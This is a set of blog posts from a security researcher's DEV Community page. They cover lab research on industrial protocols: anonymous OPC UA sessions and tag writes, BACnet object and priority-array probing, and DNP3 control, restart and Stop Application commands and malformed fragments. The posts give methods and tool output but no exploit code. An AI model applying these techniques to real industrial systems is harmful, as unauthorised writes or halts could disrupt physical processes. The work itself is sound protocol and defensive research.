DEV Community: 404Saint

I Started With One OPC UA `GetEndpoints` Request. Then I Found Anonymous Writes.

404Saint — Tue, 11 Aug 2026 15:54:11 +0000

By RUGERO Tesla (@404Saint).

[*] Target Server: opc.tcp://127.0.0.1:4840
[*] Sending unauthenticated GetEndpointsRequest...
[+] Received 5 exposed endpoints.

Five endpoints from a single unauthenticated GetEndpointsRequest. That was the starting point for this OPC UA laboratory. The response advertised four cryptographically protected configurations and one endpoint using:

SecurityMode:   None
SecurityPolicy: None

The server was therefore not enforcing a single security posture at the discovery layer. A client could select the unprotected endpoint even though Sign and SignAndEncrypt configurations were available.

Endpoint discovery showing the five configurations advertised by the laboratory server.

That observation alone was not treated as a downgrade vulnerability. No active downgrade attack was performed. The finding was simpler: an unencrypted endpoint was explicitly available for client selection.

The next step was to use it.

From `GetEndpoints` to `ActivateSession`

OPC UA establishes application sessions through a defined sequence:

OpenSecureChannel
        ↓
CreateSession
        ↓
ActivateSession

Using the SecurityPolicy=None endpoint, an anonymous identity token was supplied during ActivateSession.

The server accepted the session:

[+] SecureChannel established
[+] Session activation succeeded

SecureChannel State: OPEN (SecurityPolicy#None)
Session State:       ACTIVE
Authentication Type: Anonymous

Successful anonymous session establishment over the SecurityPolicy=None endpoint.

At this point the scope of the test changed. Endpoint discovery had established insecure exposure. Session establishment demonstrated that the exposed endpoint was actually usable without an authenticated identity. The address space was the next layer.

Walking the Address Space

OPC UA does not present an industrial control environment as a flat register table.

Its application model is an address space containing Objects, Variables, Methods, Properties, References, and associated metadata.

A recursive traversal was therefore used to enumerate the Object graph and inspect the variables reachable through the anonymous session.

The crawler followed child references and collected:

Browse Name
NodeId
Node Class
AccessLevel
UserAccessLevel
Current Value
Read Result

Relative browse-path resolution was also tested against the standard Server object:

0:Objects
 └── 0:Server
      └── 0:ServerStatus
           └── 0:CurrentTime

which resolved to:

ns=0;i=2258

The traversal itself was not the interesting finding.

Most of the address space did not provide unrestricted access. Several nodes rejected reads or returned authorization-related errors.

That distinction became important when evaluating write permissions.

AccessLevel Wasn't the Final Verdict

The audit did not classify a variable as writable solely because an attribute suggested that it was. Readable variables were tested with actual WriteRequest operations.

The mutations were deliberately small and reversible:

Boolean
False → True

integer
0 → 1

Double
0.0 → 1.0

Int64
0 → 1

example bytestring
b'test123' → b'test123_probe'

Each successful mutation was immediately restored to its original value.

The result was unambiguous:

[CRITICAL VULNERABILITY] Write ACCEPTED on tag Boolean!
Value changed: False -> True

[CRITICAL VULNERABILITY] Write ACCEPTED on tag integer!
Value changed: 0 -> 1

[CRITICAL VULNERABILITY] Write ACCEPTED on tag Double!
Value changed: 0.0 -> 1.0

[CRITICAL VULNERABILITY] Write ACCEPTED on tag Int64!
Value changed: 0 -> 1

[CRITICAL VULNERABILITY] Write ACCEPTED on tag example bytestring!
Value changed: b'test123' -> b'test123_probe'

Recursive address-space enumeration and access-level inspection from the anonymous session.

Successful write mutations against five tested variables. Every mutation was reverted after verification.

This is stronger evidence than simply reporting an exposed AccessLevel.

The server received the write request, accepted it, value changed and the original value was then restored. The finding is therefore specific to effective write authorization: the anonymous session was able to modify the tested variables without presenting an authenticated user identity.

The Security Boundaries Were Not Universally Broken

The write finding made it important to test the other security controls rather than assume that everything was misconfigured.

The endpoint configuration exposed SecurityPolicy=None, but protected configurations were also available:

SignAndEncrypt     Aes128_Sha256_RsaOaep
Sign               Aes128_Sha256_RsaOaep
SignAndEncrypt     Basic256Sha256
Sign               Basic256Sha256

An independent X.509 certificate was then generated for the certificate validation test.

It was deliberately unrelated to the earlier test certificate:

Subject:
CN=independent-untrusted-client

Issuer:
CN=independent-untrusted-client

Self-Signed:
True

Application URI:
urn:freeopcua:client:independent-test

The protected connection attempt used:

Basic256Sha256
SignAndEncrypt

The server rejected the certificate:

BadCertificateUriInvalid

Independent self-signed certificate rejected during the protected OPC UA handshake.

Invalid username/password authentication was also rejected with:

BadUserAccessDenied

The resulting security picture was therefore more nuanced than a simple “OPC UA authentication is broken” conclusion.

Security Boundary	Result
`SecurityPolicy=None` advertised	Insecure exposure
Anonymous session	Accepted
Address-space traversal	Extensive visibility
Tested anonymous writes	Accepted
Invalid credentials	Rejected
Independent X.509 certificate	Rejected
Protected endpoints	Available

The significant finding was the combination of an anonymously accessible session and effective write permissions on the tested variables.

Seeing the Protocol Instead of Just the API

The packet captures were an important part of the investigation.

For example, the username authentication test produced an ActivateSessionRequest containing a UserNameIdentityToken:

UserName: admin
Password: ...
EncryptionAlgorithm:
    http://www.w3.org/2001/04/xmlenc#rsa-oaep

The client reported BadUserAccessDenied, but the PCAP showed how the identity token was actually represented on the wire. That distinction matters in protocol research. A high-level library can tell you that an operation succeeded or failed but a packet capture can show the actual message, security mode, token type, request structure, and server response.

The laboratory therefore combined both:

Python harness
      +
OPC UA server
      +
Wireshark / PCAP
      +
manual protocol inspection

rather than treating the client library as the protocol itself.

The Research Repository

The complete laboratory is available in the repository:

industrial-protocol-labs / opcua-research

It contains the phase-by-phase notes, Python research harnesses, packet captures, screenshots, logs, and reproduction instructions.

opcua-research/
├── captures/
├── logs/
├── notes/
├── screenshots/
└── scripts/

The detailed notes cover:

OPC UA architecture and security model
Endpoint discovery
SecureChannel and session establishment
Address-space traversal
Access-level auditing
Effective write authorization
X.509 trust-boundary testing
Laboratory reproduction

The interesting part of this research was not any individual API call. It was following the protocol far enough to determine what an apparently ordinary anonymous session could actually do.

GetEndpoints was only the first request.

Building BACnet from Raw Packets: Objects, Priority Arrays, BBMDs, and Event Services

404Saint — Tue, 04 Aug 2026 15:41:40 +0000

By RUGERO Tesla (@404saint)

Industrial communication protocols reveal their design philosophy through the way they represent operational state.

Modbus exposes memory through coils and registers.

EtherNet/IP builds on the Common Industrial Protocol (CIP), organizing devices into object classes and explicit messaging services.

BACnet approaches automation from an entirely different direction. Rather than treating field devices as collections of registers, it models an automation system as a distributed object database in which sensors, actuators, schedules, alarms, and configuration elements are represented as standardized objects with well-defined properties.

That architectural decision fundamentally changes how clients interact with a BACnet device. Reading process information no longer involves polling register offsets; instead, application services operate directly against object instances and individual properties. Command execution is governed by priority arbitration, network communication depends on the BACnet Virtual Link Layer (BVLL), and many state changes are distributed through event-driven notifications rather than continuous polling.

This article documents a packet-level analysis of those mechanisms using an isolated BACnet/IP laboratory built around the open-source bacnet-stack implementation. Instead of relying on high-level BACnet libraries, each experiment manually constructed BVLL, NPDU, and APDU structures in Python to observe how the target implementation processed protocol requests under controlled conditions.

The research was divided into four phases:

Object Model & Property Engine
Priority Array Arbitration
Routing, BBMD & Subnet Traversal
Change-of-Value (COV), Event Services & BACnet/SC

Research Environment

The target consisted of a locally compiled bacnet-stack server exposing a virtual BACnet/IP device over UDP port 47808 (0xBAC0). All experiments were executed from a separate Python research harness that manually assembled protocol frames before transmitting them to the server.

Unlike production assessments, the objective was not vulnerability discovery. Instead, the laboratory provided an instrumented environment for observing protocol behavior, validating packet construction, and documenting implementation responses to both expected and unusual requests.

Phase 1 — Inspecting the BACnet Object Database

BACnet devices organize operational state into standardized objects. Every physical or logical component of the automation system is represented as an object containing a collection of named properties.

Rather than beginning with write operations, the first phase focused on understanding the controller's exposed object model.

The initial experiment queried the Object_List property of the Device object. The response returned 76 object instances, including standard BACnet object classes such as Analog Inputs, Analog Outputs, Binary Inputs, Binary Outputs, and several vendor-defined object types.

Subsequent experiments exercised additional application services including:

ReadProperty
ReadPropertyMultiple
CreateObject
DeleteObject
Extended property identifiers

One observation recorded during testing was that the target accepted an unauthenticated CreateObject request while rejecting unsupported property identifiers and protected deletion attempts using standard BACnet Error-PDUs. The implementation remained stable throughout the assessment and returned protocol-compliant error responses instead of terminating the connection.

Figure 1. Phase 1 research harness demonstrating object enumeration, multi-property inspection, dynamic object creation, invalid property handling, and protected object deletion against the laboratory BACnet/IP target.

The experiments established the structure of the target's internal object database before moving to command execution behavior.

Phase 2 — Understanding Priority Array Arbitration

One of BACnet's most distinctive features is the Priority Array.

Unlike protocols where writing a value immediately replaces the previous state, commandable BACnet objects maintain sixteen independent priority slots. The object's effective value is determined by the highest-priority non-NULL entry within the array.

To examine this behavior, the research harness issued successive WriteProperty requests targeting different priority levels before reading back the resulting Priority Array.

The experiments included:

Writing at Schedule priority (Slot 16)
Writing at Manual Life Safety (Slot 1)
Writing at Manual Operator (Slot 8)
Relinquishing control using NULL
Dumping the complete Priority Array

The server acknowledged each write request with a SimpleACK, while subsequent reads demonstrated how the implementation stored and evaluated priority values.

During testing, one implementation-specific observation stood out. Although a write targeted Priority Slot 8, the value later appeared in Slot 12 when the Priority Array was retrieved. Because this behavior was observed only within the laboratory implementation, no broader conclusions were drawn regarding BACnet itself. The result is simply documented as an implementation observation requiring additional investigation.

Figure 2. Priority Array assessment showing writes across multiple priority levels, NULL relinquishment, and the resulting Priority_Array returned by the laboratory target.

Beyond illustrating BACnet's arbitration model, the experiments highlighted how command execution depends on protocol semantics rather than simply accepting the most recent write.

Phase 3 — Routing, BBMDs, and Network Infrastructure

BACnet/IP extends beyond application services by introducing the BACnet Virtual Link Layer (BVLL).

BVLL enables communication across routed IP networks through Broadcast Management Devices (BBMDs), Foreign Device Registration, and BACnet network-layer routing services.

Three infrastructure mechanisms were examined:

Foreign Device Registration
Who-Is-Router-To-Network
Global Who-Is broadcasts

The target acknowledged a Register-Foreign-Device request using a successful BVLL Result response, indicating acceptance of the registration message at the protocol layer.

Router discovery requests produced no I-Am-Router-To-Network responses during the observation period, and global broadcast discovery did not identify additional BACnet devices within the laboratory environment.

These observations are consistent with the isolated topology used during testing and should not be interpreted as representative of production BACnet deployments.

Figure 3. BBMD and network infrastructure assessment demonstrating Foreign Device Registration, router discovery, and broadcast-based topology observations.

This phase reinforced the distinction between BACnet's application layer and the additional networking infrastructure required to operate across routed environments.

Phase 4 — Event Services, COV, and BACnet/SC

The final phase examined BACnet's event-driven communication model.

Unlike protocols that depend exclusively on polling, BACnet allows clients to subscribe for Change of Value (COV) notifications. Once subscribed, the server can transmit state updates whenever monitored values change.

The research harness manually constructed a SubscribeCOV request targeting an Analog Input object.

The target acknowledged the subscription using a SimpleACK before transmitting an Unconfirmed COV Notification, confirming that the subscription had been accepted and event delivery was operational.

The second experiment focused on the Event_Enable property.

Rather than issuing a write operation in isolation, the property was read, modified, and read again to verify that the server stored the updated Bit String exactly as transmitted. This confirmed successful property modification within the laboratory implementation.

The final experiment probed TCP port 47809, the standard transport used by BACnet Secure Connect (BACnet/SC), by attempting a WebSocket handshake. The connection was refused, indicating that the laboratory server exposed only traditional BACnet/IP services during testing.

Figure 4. Event-service analysis demonstrating SubscribeCOV acknowledgement, Event_Enable verification before and after modification, and BACnet/SC transport probing.

Together, these experiments completed the examination of BACnet's application services, event mechanisms, and secure transport transition.

Key Observations

Across the four research phases, several implementation characteristics were consistently observed:

The target exposed its object database through standard property services.
Priority arbitration followed BACnet's multi-slot command model rather than simple overwrite semantics.
Foreign Device Registration requests were acknowledged at the BVLL layer.
Router discovery and global broadcast enumeration produced no observable responses within the isolated laboratory.
SubscribeCOV successfully generated event notifications.
Event_Enable property modifications were reflected in subsequent reads.
No BACnet/SC listener was present on the expected secure transport port.

None of these observations should be generalized beyond the laboratory implementation. They describe the behavior recorded during controlled testing and serve as a foundation for understanding BACnet's protocol mechanics rather than evaluating commercial products.

Repository

The complete research repository contains:

Protocol architecture primer
Four packet-level research phases
Laboratory reproduction guide
Python research harnesses
Network diagrams
Terminal captures
Detailed implementation observations

GitHub: https://github.com/404saint/industrial-protocol-labs/tree/main/bacnet-research

Closing Remarks

BACnet is often introduced as "the building automation protocol," but that description overlooks much of what makes it technically interesting. Its object-oriented data model, priority-based command arbitration, network-layer routing infrastructure, and event-driven services distinguish it from many traditional industrial protocols.

Constructing protocol frames manually made those design decisions significantly clearer than interacting through abstraction libraries alone. More importantly, documenting the observed behavior, whether expected or implementation-specific, provides a reproducible reference for engineers and security researchers studying BACnet at the packet level.

Disclaimer: All experiments described in this article were conducted within an isolated laboratory environment using controlled BACnet/IP implementations. The work is intended solely for protocol education, interoperability research, and defensive security analysis. Do not perform similar testing against systems without explicit authorization.

Hands-On DNP3 Protocol Analysis: State Machines, Transport Mechanics, and Secure Authentication (SA v5)

404Saint — Sun, 02 Aug 2026 14:58:13 +0000

By RUGERO Tesla (@404saint)

In my previous article, Beyond Cyclic Polling: Objects, Classes, and Outstation State in DNP3, we explored how DNP3 (IEEE 1815) organizes information through object groups, event classes, and Internal Indications (IIN). That discussion focused on the protocol's architecture and how an outstation exposes operational state to a SCADA master.

Understanding the specification, however, is only half of the story.

The more interesting question is what happens inside an implementation when frames begin arriving on the wire. How does an outstation process malformed transport fragments? What state transitions occur when control commands arrive out of sequence? How are administrative function codes handled internally? What actually changes when Secure Authentication (SA v5) is introduced?

To answer those questions, I built an isolated DNP3 research laboratory entirely in Python. Rather than relying on vendor implementations or third-party protocol libraries, I implemented custom outstation targets, protocol parsers, and master-side test harnesses to observe protocol behavior from the raw socket layer upward. This made it possible to inspect state transitions, reproduce protocol edge cases, and verify implementation behavior under controlled conditions.

The repository contains:

A custom DNP3 outstation implementation
A Secure Authentication (SA v5) enabled outstation
Individual master-side test suites for each research phase
Packet captures for every experiment
Detailed technical notes documenting protocol behavior and implementation observations

You can explore the complete project here:

GitHub Repository

https://github.com/404saint/industrial-protocol-labs/tree/main/dnp3-research

This article summarizes five phases of that research:

Reconnaissance and protocol fingerprinting
Control execution and Select-Before-Operate validation
Administrative state transitions
Transport-layer behavior and unsolicited messaging
Secure Authentication (SA v5)

Phase 1 — Reconnaissance & Internal Indication Analysis

Before attempting any control operations, it is useful to understand what information a DNP3 endpoint exposes during normal communication.

Unlike many industrial protocols that require several exchanges before meaningful information becomes available, a standard Class 0 Integrity Read (FC 0x01) immediately returns an Application Layer response containing the Internal Indications (IIN) field.

Those two bytes provide a surprisingly useful snapshot of the outstation's operational state.

Depending on the implementation, the response may reveal whether:

the device has recently restarted,
time synchronization is required,
event buffers contain pending data,
hardware faults have been detected,
unsupported function codes were received,
parameter validation has failed.

Because the IIN field is part of normal protocol behavior, it represents one of the earliest opportunities to understand how an outstation is currently operating.

The first phase of the lab simply performs a baseline integrity poll and parses those response flags.

Figure 1. recon_enum.py issuing a Class 0 Integrity Read and decoding the returned Internal Indications.

On the opposite side of the connection, the custom outstation processes the incoming FT3 frame, builds the Application Layer response, and returns the corresponding IIN values.

Figure 2. The custom outstation parsing the request and constructing the response APDU.

One observation from this phase is the persistence of the Device Restart indication (IIN1.7). Following initialization, this flag remains asserted until the master acknowledges the restart condition. Although simple, this mechanism allows supervisory systems to distinguish between continuous operation and a recently restarted device without relying on external monitoring.

This phase also establishes an important baseline for later experiments. Once administrative commands, transport anomalies, and authentication mechanisms are introduced, changes in the IIN field become an effective way to observe how internal state evolves throughout the protocol.

Phase 2 — Control Execution & Select-Before-Operate Validation

One of DNP3's defining characteristics is its emphasis on deterministic control execution.

Rather than immediately actuating field devices whenever a command arrives, IEEE 1815 defines a Select-Before-Operate (SBO) workflow for Control Relay Output Blocks (CROB). The design intentionally separates validation from execution, reducing the likelihood of accidental operations caused by communication errors or malformed traffic.

Under the SBO model, a control operation normally follows two stages:

Select (FC 0x03) : The master requests control of a specific output point. The outstation validates the request and temporarily reserves that point.
Operate (FC 0x04) : If the reservation remains valid, the outstation executes the requested operation and clears the reservation state.

The protocol also defines Direct Operate (FC 0x05), which bypasses the reservation phase entirely and requests immediate execution.

To understand how the implementation enforced these different execution paths, I evaluated two scenarios:

issuing a Direct Operate request without a preceding Select, and
transmitting an Operate request against an unarmed point.

The master-side test suite executed both cases sequentially.

Figure 3. control_attacks.py exercising multiple CROB execution paths.

The first experiment demonstrated that Direct Operate followed its intended execution path. Because FC 0x05 explicitly bypasses the reservation stage, the simulated outstation accepted the request and executed the control action immediately.

The second experiment intentionally violated the SBO state machine.

An Operate request (FC 0x04) was transmitted without a matching active Select. Rather than executing the command, the outstation rejected the request because no reservation existed for the specified control point.

The internal logs clearly illustrate that transition.

Figure 4. The outstation detecting an invalid Operate sequence and rejecting the request.

Although these experiments were performed against a custom implementation, they demonstrate why protocol state machines matter just as much as packet syntax. A correctly implemented DNP3 endpoint does more than decode bytes... it continuously tracks execution context, validates command ordering, and determines whether a requested action is currently valid.

That distinction becomes even more important when administrative function codes begin modifying the outstation's runtime state.

Phase 3 — Administrative State Transitions

Control commands are only one part of the DNP3 application layer.

IEEE 1815 also defines a collection of administrative function codes that influence the lifecycle of an outstation itself. Rather than manipulating individual field points, these commands affect the runtime environment responsible for processing telemetry, maintaining event history, and coordinating system time.

Among the most significant administrative functions are:

Function Code	Purpose
`0x0D`	Cold Restart
`0x0E`	Warm Restart
`0x12`	Stop Application
`0x18`	Write Time

Unlike CROB operations, these requests alter the state of the outstation rather than the state of an individual control point.

To observe these transitions, I executed each function sequentially against the simulated outstation while monitoring both protocol responses and internal application state.

Figure 5. system_attacks.py exercising administrative function codes against the baseline outstation.

Several interesting behaviors emerged during testing.

Time Synchronization

The Write Time function (FC 0x18) updates the outstation's internal clock. In the lab, submitting a new timestamp immediately modified the runtime clock and cleared the Need Time indication (IIN1.4), demonstrating how time synchronization directly affects protocol state.

Although expected behavior, it reinforces how closely event sequencing depends on accurate clocks in industrial systems.

Warm Restart

Issuing a Warm Restart (FC 0x0E) temporarily interrupted application processing while preserving much of the runtime context.

The response included a restart delay object, allowing the master to estimate when normal communications could safely resume.

Stop Application

The most interesting behavior occurred after issuing Stop Application (FC 0x12).

Rather than terminating the network connection, the transport and link layers continued accepting frames while the application layer stopped processing operational requests.

Subsequent read operations were therefore rejected, not because the TCP session had failed, but because the application itself had transitioned into a halted state.

That distinction is subtle but important.

From a network perspective, the device still appeared reachable.

From an application perspective, however, it was no longer servicing requests.

The outstation logs clearly illustrate these transitions.

Figure 6. Runtime state changes following administrative commands, including clock updates, application halt, and restart processing.

This phase reinforced an important implementation detail: protocol availability is not determined solely by socket state. Internal application state can significantly alter how an endpoint responds, even while lower protocol layers continue operating normally.

Phase 4 — Transport Reassembly & Unsolicited Messaging

The DNP3 Transport Pseudo-Layer is often overlooked because it consists of only a single control byte.

Despite its simplicity, that byte is responsible for coordinating fragmentation and reassembly across every multi-frame Application Protocol Data Unit (APDU).

Bit Position

7      6      5 4 3 2 1 0
+------+------+
| FIR  | FIN  | Sequence |
+------+------+

The transport header contains three pieces of information:

FIR (First Fragment) : Indicates the beginning of an APDU stream.
FIN (Final Fragment) : Marks the final fragment in the stream.
Sequence Number : A six-bit counter used to order fragments.

Most DNP3 communications fit within a single frame, making fragmentation relatively uncommon during normal operation.

Nevertheless, any implementation supporting larger payloads must correctly maintain fragment state, sequence tracking, and timeout behavior.

To evaluate that logic, I intentionally exercised several edge cases.

Reassembly State Validation

The first experiment transmitted a frame marked as the final fragment without ever establishing an active fragment stream.

From the parser's perspective, this meant receiving the end of a conversation that had never started.

The master-side test suite generated the malformed transport header and transmitted it directly to the outstation.

Figure 7. transport_attacks.py generating malformed transport sequences and unsolicited response traffic.

Rather than attempting to process the payload, the parser detected the invalid state transition and rejected the frame.

The corresponding runtime logs clearly show the parser identifying the missing fragment context before terminating reassembly.

Figure 8. The transport engine detecting an invalid fragment sequence during APDU reassembly.

The second experiment intentionally opened a fragmented stream without completing it.

Instead of immediately raising an error, the parser allocated reassembly state and advanced the expected sequence counter.

This illustrates another important implementation consideration.

Transport parsers do more than decode individual packets. They maintain state across multiple frames. Any robust implementation must therefore handle incomplete streams, unexpected sequence numbers, retransmissions, and timeout cleanup without exhausting internal resources.

Unsolicited Response Processing

The final experiment in this phase focused on Unsolicited Responses (FC 0x82).

Unlike conventional request-response communication, unsolicited messages allow an outstation to report significant events without waiting for the master to poll.

Typical uses include:

binary input changes,
analog threshold crossings,
event notifications,
alarm conditions.

Within the laboratory, I generated a synthetic unsolicited response carrying an Analog Input object (Group 30 Variation 1) to observe how the implementation processed an event arriving outside the normal polling cycle.

Because the frame matched the expected protocol format, the simulated receiver accepted the message and updated its internal state accordingly.

The purpose of this experiment was not to demonstrate a universal weakness in DNP3 deployments, but to study how unsolicited messaging is integrated into protocol processing and why implementations must validate message origin, sequencing, and where supported, authentication before committing unsolicited event data.

5. DNP3 Secure Authentication (SA v5) Verification

One of the most significant limitations of legacy DNP3 is the absence of built-in authentication for critical control operations. Any device capable of reaching an outstation can potentially issue administrative or control function codes unless additional security controls are deployed.

To address this, IEEE 1815-2012 introduced DNP3 Secure Authentication Version 5 (SA v5), later aligned with IEC 62351-5. Rather than encrypting protocol traffic, SA v5 protects sensitive operations through a challenge-response mechanism that verifies message authenticity and integrity before control commands are executed.

To better understand this workflow, I implemented a dedicated Secure Authentication outstation (outstation-sa.py) alongside a companion master test harness (master_test_runner.py). Together they reproduce the complete authentication state machine, allowing each stage of the protocol exchange to be observed in isolation.

The master-side test harness executing the complete Secure Authentication validation suite, including challenge negotiation, HMAC verification, session establishment, and authenticated control execution.

Walking Through the Authentication Workflow

The authentication sequence follows a well-defined state machine.

Baseline Read (FC 0x01)

Standard telemetry reads continue to operate normally. Since these requests are considered non-critical, they do not require cryptographic validation and are processed without additional authentication overhead.

Challenge Negotiation (FC 0x20, Object 120 Variation 1)

Before executing a protected operation, the master initiates the authentication process. The outstation responds with a challenge containing a nonce, sequence information, and additional parameters required to construct a valid authentication response.

Challenge Verification (FC 0x20, Object 120 Variation 2)

Using the pre-shared session key, the master computes an HMAC over the challenge data and submits the resulting authentication payload. The outstation independently performs the same calculation and compares the received digest against its own result.

Authenticated Session Establishment

If verification succeeds, the outstation marks the communication session as authenticated and returns its current Secure Authentication status (Object Group 120). Subsequent protected operations are now permitted within the authenticated session.

Protected Control Execution

With authentication complete, privileged operations, such as Select-Before-Operate (FC 0x03) are processed normally. Requests that would otherwise require authorization can now proceed under the active authenticated session.

The Secure Authentication outstation validating Group 120 authentication objects, updating session state, and authorizing protected control operations after successful HMAC verification.

Engineering Observations

Building this Secure Authentication implementation reinforced an important distinction that is often overlooked: Secure Authentication is not encryption.

Application payloads remain visible on the wire, making DNP3 traffic fully inspectable by monitoring platforms and industrial intrusion detection systems. Instead, SA v5 protects the integrity and authenticity of critical operations by ensuring that protected commands originate from an authenticated master and have not been modified or replayed in transit.

Across the five phases of this research, several observations consistently emerged:

DNP3 is fundamentally a stateful protocol. Correct behavior depends not only on packet contents, but also on transport state, control sequencing, and session context.
Administrative function codes deserve the same operational scrutiny as relay control commands, as they directly influence device availability and operational visibility.
Transport-layer correctness is just as important as application-layer validation. Robust fragment handling and sequence tracking are essential for reliable implementations.
Secure Authentication significantly strengthens DNP3 by introducing integrity verification and replay protection for sensitive operations, while remaining compatible with existing protocol deployments.

Perhaps the biggest lesson from this project was methodological.

Reading the specification explains what the protocol is designed to do. Packet captures show what happened on the network. Building an implementation exposes the internal decisions that connect those two perspectives.

That shift,, from interacting with industrial protocols to implementing them, has fundamentally changed how I approach protocol research. Understanding parser behavior, state machines, and implementation details provides insights that are difficult to obtain through passive observation alone.

The complete research laboratory, including the custom outstation implementations, master-side tooling, packet captures, screenshots, and detailed technical notes, is available in the accompanying GitHub repository.

As with every project in this series, all experiments were performed in an isolated laboratory environment for protocol research, defensive engineering, and implementation analysis. No testing was conducted against production industrial systems.

Beyond Cyclic Polling: Objects, Classes, and Outstation State in DNP3

404Saint — Tue, 28 Jul 2026 16:56:40 +0000

By RUGERO Tesla (@404saint)

If you approach DNP3 (Distributed Network Protocol 3) from a background in Modbus/TCP or EtherNet/IP (CIP), your mental model of industrial communications will immediately break.

In Modbus or CIP, state management is largely cyclic and stateless at the application layer. A Master polls a slave’s memory registers (e.g., Read Holding Registers 0x03), receives a snapshot of current values, and repeats the process on a fixed timer loop. If the network link drops for 10 seconds, every intermediate state change during that window is permanently lost.

DNP3 was explicitly engineered for wide-area networks (WANs) such as electrical distribution grids and water systems, where telemetry channels like serial radios, cellular and high-latency links are prone to latency, low bandwidth, and intermittent dropouts.

To survive these harsh environments, DNP3 flips the operational model from cyclic polling to event-driven, buffered telemetry.

Here is a deep dive into how DNP3 abstracts memory, categorizes events, and maintains state integrity before we jump into packet-level dissections.

1. Data Abstraction: Groups, Variations, and Objects

In Modbus, you read raw memory addresses (00001, 40001). You are responsible for knowing whether a given offset contains a bit, a 16-bit integer, or a split 32-bit float.

DNP3 abstracts raw memory into Objects, identified by Group and Variation:

Group: Defines the data type or container (e.g., Group 1 = Binary Input, Group 30 = Analog Input, Group 50 = Time and Date).
Variation: Defines the specific byte structure, resolution, and inclusion of flag/timestamp metadata for that data type.

For example, if an Outstation needs to transmit an Analog Input:

Group 30, Variation 1: 32-bit Analog Input with Flag.
Group 30, Variation 2: 16-bit Analog Input with Flag.
Group 30, Variation 5: Single-precision Floating Point with Flag.

DNP3 Data Hierarchy Structure — Group, Variation, and Point Index mapping.

By allowing the Master station to explicitly request specific Variations (or allowing the Outstation to select them dynamically), DNP3 optimizes bandwidth usage over constrained mediums. You don't waste 32 bits on the wire if a 16-bit integer or a single change flag is all that changed.

2. Event Classes and the Internal State Machine

To prevent constant high-frequency polling across limited radio links, DNP3 separates data into Static Data and Event Data, divided across four internal classes:

Class 0 (Static Data): Represents the current real-time snapshot of points on the Outstation. Requesting Class 0 is the equivalent of a full system state readout (Integrity Poll).
Class 1 (High Priority Events): Critical alarm triggers, trip signals, or high-urgency state transitions.
Class 2 (Medium Priority Events): Standard operational status changes.
Class 3 (Low Priority Events): Analog deadband breaches, minor diagnostic changes, or slow-moving trend data.

The Buffer Mechanism

When a physical field value changes (e.g., a breaker trips), the Outstation:

Detects the state transition.
Formats the change into an Event Object (e.g., Group 2 for Binary Input Event), appending a microsecond-resolution timestamp.
Appends the Event Object into its local Class 1/2/3 Event Buffer.
Updates its internal Class 0 snapshot value.

Architectural flow showing field state transitions updating Class 0 snapshot vs. pushing timestamped Event Objects into Class 1/2/3 buffers for Master polls.

When the Master polls for Class 1, 2, or 3 Events (an Event Poll), the Outstation empties its event buffer over the wire. The Master doesn't just learn what the value is right now, it receives the chronological history of every single state transition that occurred since the last poll.

3. Unsolicited Responses: Breaking Master-Slave Hierarchy

In standard Master-Slave/Client-Server OT architectures, an Outstation never speaks unless spoken to. If a critical transformer overheats right after a poll completes, the Master won't know until the next polling interval.

DNP3 solves this via Unsolicited Responses:

An Outstation is configured with threshold conditions (e.g., any Class 1 Event occurring).
As soon as the event enters the Class 1 buffer, the Outstation spontaneously initiates an Application-Layer response to the Master without waiting for a request.
The Master accepts the event data and returns an Application-Level Confirmation (ACK).

This fundamentally shifts the latency model: bandwidth usage remains near zero during quiescent operation, but response time for critical alarms becomes near-instantaneous.

4. Reliability and Integrity: IIN Bytes & Confirmation Loops

Because DNP3 operates over unreliable networks, packet delivery guarantees are handled natively at the Application Layer, rather than relying solely on TCP or lower layers.

Internal Indications (IIN)

Every single Application Layer response from a DNP3 Outstation includes a 2-byte header known as the Internal Indications (IIN) flags. These bits act as continuous system diagnostics returned to the Master in every message.

Caption: Bit-level mapping for Octet 1 (IIN1.0–IIN1.7) and Octet 2 (IIN2.0–IIN2.7).

Key Bit Flags Highlighted:

IIN1.0: All Stations Message Received
IIN1.4: Device Restart
IIN1.5: Device Trouble
IIN1.7: Event Buffer Overflow (CRITICAL: Last state/events lost)
IIN2.1: Class 1 Data Available
IIN2.2: Class 2 Data Available
IIN2.3: Class 3 Data Available

If a communications link drops for hours and the Outstation's memory buffer completely fills up, it sets the IIN1.7 (Event Buffer Overflow) bit. When the connection is re-established, the Master reads this bit and immediately knows that time-series continuity was broken, triggering an automatic Class 0 Integrity Poll to re-baseline the system state.

The Application Confirmation Loop

To guarantee zero event loss:

Master polls Class 1 Events.
Outstation transmits Events 1 through 5 in an Application Response (FIN=1, CON=1).
Outstation retains Events 1 through 5 in its local buffer.
Master receives the response, parses the events, and transmits an Application Confirm (CONFIRM).
Only upon receiving the explicit Confirm header does the Outstation purge Events 1 through 5 from its memory buffer.

If the network connection drops before step 4, the Outstation retains the events and re-transmits them on the next successful session.

Summary & Next Steps

DNP3 trades the simplicity of cyclic register-reading for an event-driven, timestamped state machine designed for high-latency, degraded environments. Understanding these core concepts: Object Groups/Variations, Event Classes, Unsolicited Responses, and IIN state flags is critical before analyzing traffic on the wire.

In Part 2, we will fire up an active DNP3 Master/Outstation pair in the lab, trigger simulated field alarms, and inspect raw Wireshark PCAPs to dissect the exact byte-level layout of Application Layer headers, Object Requests, and IIN response flags.

Why Advanced Industrial Protocols Give Raw Sockets the "Silent Treatment"

404Saint — Mon, 13 Jul 2026 22:28:35 +0000

By RUGERO Tesla (@404saint)

When I first ditched high-level libraries like pyModbus to build my own socket-based protocol toolkit, my goal was simple. I just wanted to see the protocols actually talk on the wire.
Using libraries is easy. They abstract away the complexity, but they also blind you to the wire-level mechanisms. If you want to master Operational Technology (OT) security, you have to understand the bytes.

Building a raw Modbus toolkit worked. But when I tried to take that same mentality and apply it to advanced protocols like EtherNet/IP and DNP3, reality hit hard. Treating EtherNet/IP like Modbus almost broke me.

Here is the truth about what happens when you abandon abstractions, and why the wire level is a brutal teacher.

1. The Anatomy of a "Silent Timeout"

With basic protocols, formatting is relatively flat. But advanced industrial protocols are nested nightmares. When you are manually crafting binary streams using Python's struct module, perfection isn't an option, it’s the baseline.

Being off by even a single byte doesn't just trigger an elegant error message. It causes a complete system breakdown:

The PLC refuses to respond.
Your script hangs and hits a generic timeout.
The network gives you total silence.

When you're twisting a raw socket script trying to debug a timeout, the script itself gives you zero useful feedback. To actually find out where the alignment broke, I found myself digging through containerized Docker logs just to see what the simulated PLC environment was choking on.

2. The Trap of Library Assumptions

The frustration doesn't start with raw sockets, it starts when you make assumptions about high-level libraries without knowing how they work under the hood.
